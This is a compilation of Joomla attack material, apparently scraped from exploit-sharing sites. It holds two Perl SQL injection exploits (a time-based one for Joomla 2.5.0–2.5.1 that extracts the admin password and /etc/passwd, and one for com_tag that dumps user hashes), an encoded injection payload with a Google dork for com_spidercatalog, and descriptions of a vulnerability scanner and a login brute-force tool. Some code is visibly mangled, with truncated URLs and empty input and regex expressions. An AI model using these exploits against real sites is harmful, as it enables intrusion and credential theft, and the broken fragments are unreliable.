Joomla 2.5.0-2.5.1 Time Based SQL Injection Exploit

#!/usr/bin/perl
# Thu Mar 15 22:55:32 CET 2012 A. Ramos <aramosf()unsec.net>
# www.securitybydefault.com
# Joomla <2.5.1 time based sql injection - vuln by Colin Wong
#
# using sleep() and not benchmark(), change for < mysql 5.0.12
#
# 1.- Database name: database()
# 2.- Users data table name: (change 'joomla' for database() result)
#   select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users"
# 3.- Admin password: (change zzz_users from previus sql query result)
#   select password from zzzz_users limit 1
 
 
 
use strict;
use LWP::UserAgent;
$| = 1;
 
 
my $url = $ARGV[0];
my $wtime = $ARGV[1];
my $sql = $ARGV[2];
 
unless ($ARGV[2]) {
 print "$0 <url> <wait time> <sql>\n";
 print "\texamples:\n";
 print "\t get admin password:\n";
 print "\t\t$0 http://host/joomla/ 3 'database()'\n";
 print "\t\t$0 http://host/joomla/ 3 'select table_name from information_schema.tables where table_schema=\"joomla\" and table_name like \"%25_users\"\'\n";
 print "\t\t$0 http://host/joomla/ 3 'select password from zzzz_users limit 1'\n";
 print "\t get file /etc/passwd\n";
 print "\t\t$0 http://host/joomla/ 3 'load_file(\"/etc/passwd\")'\n";
 exit 1;
}
 
my ($len,$sqldata);
 
my $ua = LWP::UserAgent->new;
$ua->timeout(60);
$ua->env_proxy;
 
my $stime = time();
my $res = $ua->get($url);
my $etime = time();
my $regrtt = $etime - $stime;
print "rtt: $regrtt secs\n";
print "vuln?: ";
 
my $sleep = $regrtt + $wtime;
$stime = time();
$res = $ua->get($url."/index.php/404' union select sleep($sleep) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) { print "ok!\n"; } else { print "nope :(\n"; exit 1; }
 
 
my $lenoflen;
sub len {
 # length of length
 for (1..5) {
    my $sql=$_[0];
    $stime = time();
    $res = $ua->get($url."/index.php/404' union select if(length(length(($sql)))=$_,sleep($wtime),null) union select '1");
    $etime = time();
    my $rtt = $etime - $stime;
    if ($rtt >= $regrtt + $wtime) {
        $lenoflen = $_;
        last;
    }
 }
 for (1..$lenoflen) {
  my $ll;
  $ll=$_;
  for (0..9) {
    my $sql=$_[0];
    $stime = time();
    $res = $ua->get($url."/index.php/404' union select if(mid(length(($sql)),$ll,1)=$_,sleep($wtime),null) union select '1");
    $etime = time();
    my $rtt = $etime - $stime;
    if ($rtt >= $regrtt + $wtime) {
        $len .= $_;
    }
  }
 }
    return $len;
 
}
 
sub data {
 my $sql = $_[0];
 my $len = $_[1];
 my ($bit, $str, @byte);
 my $high = 128;
 
 for (1..$len) {
    my $c=8;
    @byte="";
    my $a=$_;
    for ($bit=1;$bit<=$high;$bit*=2) {
        $stime = time();
        # select if((ord(mid((load_file("/etc/passwd")),1,1)) & 64)=0,sleep(2),null) union select '1';
        $res = $ua->get($url."/index.php/404' union select if((ord(mid(($sql),$a,1)) & $bit)=0,sleep($wtime),null) union select '1");
        $etime = time();
        my $rtt = $etime - $stime;
        if ($rtt >= $regrtt + $wtime) {
            $byte[$c]="0";
        } else { $byte[$c]="1"; }
    $c--;
    }
    $str = join("",@byte);
    print pack("B*","$str");
  }
}
 
$len = len($sql);
print "$sql length: $len\n";
print "$sql data:\n\n";
data($sql,$len);

Joomla Spider Catalog (index.php, product_id parameter) SQL Injection Vulnerability

1 ######################################### 1
0 I'm D4NB4R member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#Exploit Title: Joomla com_spidercatalog SQL injection Vulnerability

Dork: inurl:index.php?option=com_spidercatalog

Date: [31-10-2012]

Author: Daniel Barragan "D4NB4R"

Twitter: @D4NB4R

Vendor: http://www.web-dorado.com/

Demo: http://www.web-dorado.com/products/joomla-catalog.html

Version: 1.1 (last update on Sep 25, 2012)

License: GPLv2 or later Commercial

Tested on: [Linux(Arch)-Windows(7ultimate)]


Descripcion:

Spider Catalog for Joomla! is a convenient tool for organizing the products represented on your website into catalogs. Each product on the catalog is assigned with a relevant category, which makes it easier for the customers to search and identify the needed products within the catalog. It is possible to add an unlimited number of parameters for each of the categories in the catalog in order to allow a detailed representation of the product on the catalog. Moreover, each product on the catalog can be accompanied with an image. Customers are provided with the possibility of rating the products available on the catalog, as well as writing customer reviews that will appear under the catalog products. Spider Catalog provides you with a high level of customization concerning almost all the aspects of the catalog, ranging from background colors and text size inside the product cell to the number of products in the row and the number of customer reviews per catalog page.


Vulnerable Parameter Name:

product_id

Parameter Type:

Querystring


Attack Pattern:

-{Valid id}%27%20or%201%3d1%2b%28select%201%20and%20row%28 1%2c1%29%3E%28select%20count%28*%29%2cconcat%28CON CAT%28version%28%29,0x3D,database%28%29,0x3D,0x3D, 0x3D%29%2c1111%2cfloor%28rand%28%29*2%29%29x%20fro m%20%28select%201%20union%20select%202%29a%20group %20by%20x%20limit%201%29%29%2b%27&view=showproduct &page_num=1&back=1



Exploit Demo:

SQLi : SQL injection

http://localhost/index.php?option=co...e_num=1&back=1



Greetz: All Member Inj3ct0r Team * m1nds group (www.m1nds.com)* pilot * aku * navi_terrible * dedalo * ksha
* shine * devboot * r0073r * indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 Jago-dz * Kha&miX * T0xic
* Ev!LsCr!pT_Dz * By Over-X *Saoucha * Cyber Sec * theblind74 * onurozkan * n2n * Meher Assel
* L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller Sid3^effects
* aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * MR.SoOoFe
* ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH * Sn!pEr.S!Te


__________________________________________________ ___
Daniel Barragan "D4NB4R" 2012 

[Tool] Joomscan Security Scanner - Update 611 lỗ hổng của Joomla

Hi All,


Nhóm Web-center Security Team của Slovenia vừa update phiên bản mới cho công cụ quét lỗ hổng mang tên Joomscan.

Joomscan là công cụ nhỏ gọn viết bằng ngôn ngữ PERL,dùng scan ứng dụng Joomla.

Ở lần update này,database lỗ hổng đã tăng lên 611 vuls so với 550 vuls vào tháng 11 năm ngoái.

Có thể update thông qua command-line (terminal) bằng lệnh :

./joomscan.pl update

Cú pháp sử dụng khá đơn giản :

VD:
- Để scan website uns.vn ta sử dụng : ./joomscan.pl -u uns.vn
- Chi tiết các options : ./joomscan.pl

_LINK DOWNLOAD :
- Windows : http://web-center.si...an/joomscan.rar
- Linux : http://web-center.si...joomscan.tar.gz

Các bạn có thể download source về để optimize và bỏ vào toolbox.

BJ-oomla v1.00 - Brute force Joomla tool

The BJ-oomla v1.00 this is a simple tool for brute force Joomla login. This tool made by S3K4 team and tested on Joomla <=1.5.25.

Available options:
-U file contain list user
-P file contain list password
-u username
-p password
-v verbose
-s signal - default:"Administration Login"
-g user-agent - default: "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0"



Using:
#python bruteJoom.py -h http://test.com -u admin -P password.txt

Download https://sites.google...redirects=0&d=1



ZoneSec.Com

Joomla Tags (index.php, tag parameter) SQL Injection

Exploit Title: Joomla tag Remote Sql Exploit

dork: inurl:index.php?option=com_tag


Author: Daniel Barragan "D4NB4R"

Twitter: @D4NB4R

Vendor: http://www.joomlatags.org

Version: all

License: Non-Commercial

Download: http://www.joomlatag...g-download.html


Descripcion:

N/A

Exploit:

 
    #!/usr/bin/perl -w
    # Joomla Component (tag) Remote SQL Exploit
    #----------------------------------------------------------------------------#
 
    ########################################
    print "\t\t\n\n";
print "\t\n";
print "\t            Daniel Barragan  D4NB4R                \n";
print "\t                                                   \n";
print "\t      Joomla com_tag Remote Sql Exploit \n";
print "\t\n\n";
 
use LWP::UserAgent;
print "\nIngrese el Sitio:[http://wwww.site.com/path/]: ";
 
chomp(my $target=);
 
    #the username of  joomla
    $user="username";
    #the pasword of  joomla
    $pass="password";
    #the tables of joomla
    $table="jos_users";
    $d4n="com_tag&task";
    $component="tag&lang=es";
     
    $b = LWP::UserAgent->new() or die "Could not initialize browser\n";
    $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
     
    $host = $target ."index.php?option=".$d4n."=".$component."&tag=999999.9' union all select 1,concat(0x3c757365723e,".$user.",0x3c757365723e3c706173733e,".$pass.",0x3c706173733e)+from ".$table."--+a";
    $res = $b->request(HTTP::Request->new(GET=>$host));
    $answer = $res->content;
     
    if ($answer =~ /(.*?)/){
            print "\nLos Datos Extraidos son:\n";
      print "\n
      
* Admin User : $1";
      
    }
     
    if ($answer =~/(.*?)/){print "\n
      
* Admin Hash : $1\n\n";
      
    print "\t\t#   El Exploit aporto usuario y password   #\n\n";}
    else{print "\n[-] Exploit Failed, Intente manualmente...\n";}